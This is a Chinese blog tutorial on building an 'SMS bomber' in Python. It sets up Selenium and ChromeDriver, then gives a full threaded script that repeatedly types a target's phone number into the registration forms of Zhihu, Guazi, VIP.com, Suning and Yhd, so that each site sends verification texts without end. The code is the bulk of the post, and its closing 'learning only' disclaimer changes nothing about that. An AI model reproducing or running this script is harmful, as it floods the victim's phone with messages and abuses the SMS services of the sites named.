欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

手把手教你实现 "短信轰炸"。

最编程 2024-03-29 07:47:46
...

手把手教你实现"短信轰炸"

我这里采用简单易懂的语言--"Python3"来实现

实现前的准备:

1. 电脑,谷歌浏览器

2. python3环境

3. chromedrive相应的版本

1 、当然需要下载python的咯--> Python最新源码,二进制文档,新闻资讯等可以在Python的官网查看到:

Python官网https://www.python.org/

你可以在以下链接中下载 Python 的文档,你可以下载 HTML、PDF 和 PostScript 等格式的文档。

Python文档下载地址https://www.python.org/doc/

我这下载的是最新版本python3.7

Python官网
Python官网

你们下载后按照一步一步的next就差不多了没什么难度和特别的地方,然后你把python追加到你的系统变量(右击电脑->高级设置->环境配置)的path中就可以了!

环境安装成功标识:

测试一下,能否调用,同时按下win+R(win就是开始菜单那个键)

命令窗口
命令窗口

进入命令行,输入python,出现这样的界面则表示成功安装

环境安装成功标识
环境安装成功标识

没有出现上面的成功标识的话, 可以查看下面这个文章 (成功的话可以跳过这一步):

详细可以查看教程文章: https://zhuanlan.zhihu.com/p/111168324

2、你需要自动的去实现浏览器页面的事件你当然必不可少的需要安装chromedriver啦,下面给你详细的安装步骤

点击下面的连接下载chromedrive,

http://chromedriver.storage.googleapis.com/index.html

你会看到很多版本,这个版本要对应你的谷歌浏览器的版本哟,大致的就可以咯哟,现在谷歌最新版本应该是73.0.3683.

版本选择
版本选择

下载的安装目录一定要在你的谷歌浏览器的目录里面,否者是没用的哟,,我把我的贴上去了

下载的文件夹
下载的文件夹

一切准备就绪了,那就打开你的python, 在这里我们需要安装三个python包(如下图)

  • 如果你是linux操作系统可能比较方便安装引入查看相应的库
  • 在windows下你可以定位到你python下的script的文件下按住shift键右击在此处打开命令不过你用cd去定位也是一样的哟, pip install+包名

这样既可以了哟!如果你觉得慢的话,,你也可以直接在网上下载到python文件里面去哟,再说的话你直接在相关的python(pycharm)编辑器里面的设置去引入包也是一样的,我在这里就不累赘叙说了.

添加包
添加包

如果还是不太明白的话可以参考这个步骤把上面三个包添加进去

https://blog.****.net/liuyuqing2018/article/details/82775528

3、话不多说->代码解释:

1,需要驱动依赖的python包代码:

from selenium import webdriver
import time
from threading import Thread

2,创建某某平台的短信轰炸指定手机函数:

 class HongZha(object):
     def __init__(self):
         self.phone = "12345678909"#你要轰炸的电话号码
         self.num = 0
     def send_yzm(self,button,name):
         button.click()
         self.num+=1
         print("{}   第{}次   发送成功   {}".format(self.phone,self.num,name))
         time.sleep(2)
     def zhihu(self,name):
         while True:#下面这行是刚刚叙说的chromedrive的安装路径
 
             driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
             driver.get("https://www.zhihu.com/question/39993344")
             driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
             time.sleep(2)
             tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
             tel.send_keys(self.phone)
             button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
             self.send_yzm(button,name)
             driver.quit ()
     def guazi(self,name):
         while True:
             driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
             driver.get("https://www.guazi.com/www/bj/buy")
             a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
             a_btn.click()
             time.sleep(2)
             tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
             tel.send_keys( self.phone )
             button = driver.find_element_by_xpath("//button[@class='get-code']")
             self.send_yzm(button,name)
             driver.quit()
     def wphui(self,name):
         while True:
             driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
             driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
             tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
             tel.send_keys ( self.phone )
             driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
             button = driver.find_element_by_xpath (
                 "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
             self.send_yzm ( button,name )
             driver.quit ()
     def suning(self,name):
         while True:
             driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
             driver.get ( "https://reg.suning.com/person.do" )
             driver.find_element_by_xpath("//a[@class='agree-btn']").click()
             tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
             tel.send_keys ( self.phone )
             button = driver.find_element_by_xpath (
                 "//a[@id='sendSmsCode']" )
             self.send_yzm ( button,name )
             driver.quit ()
     def yhd(self,name):
         while True:
             driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
             driver.get ( "https://passport.yhd.com/passport/register_input.do" )
             driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神")
             tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
             tel.send_keys ( self.phone )
             time.sleep(2)
             button = driver.find_element_by_xpath (
                 "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
             #button.click()
             time.sleep(1)
             self.send_yzm ( button,name )
             driver.quit ()

3,引用相关对象,调用对象对应方法:

     hongzha = HongZha()
     zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
     guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
     wphui = Thread(target=hongzha.wphui,args=("唯品会",))
     suning = Thread(target=hongzha.suning,args=("苏宁",))
     yhd    = Thread( target=hongzha.yhd,args=("一号店",))
 zhihu.start()//调用定义方法
 guazi.start()
 wphui.start()
 suning.start()
 yhd.start()

然后运行结果我就不弄太多,因为是我自己的手机测试的,

我做的处理防止拿我手机号来轰炸!

在这里申明:我只提供技术上的学习讨论,不能来搞商业事情,,小编概不负任何责任....

声明: 你们拿来做的任何事情与小编无关!

下篇手把手教你们如何爬取整个小说网站并且实现小说的"语音播放".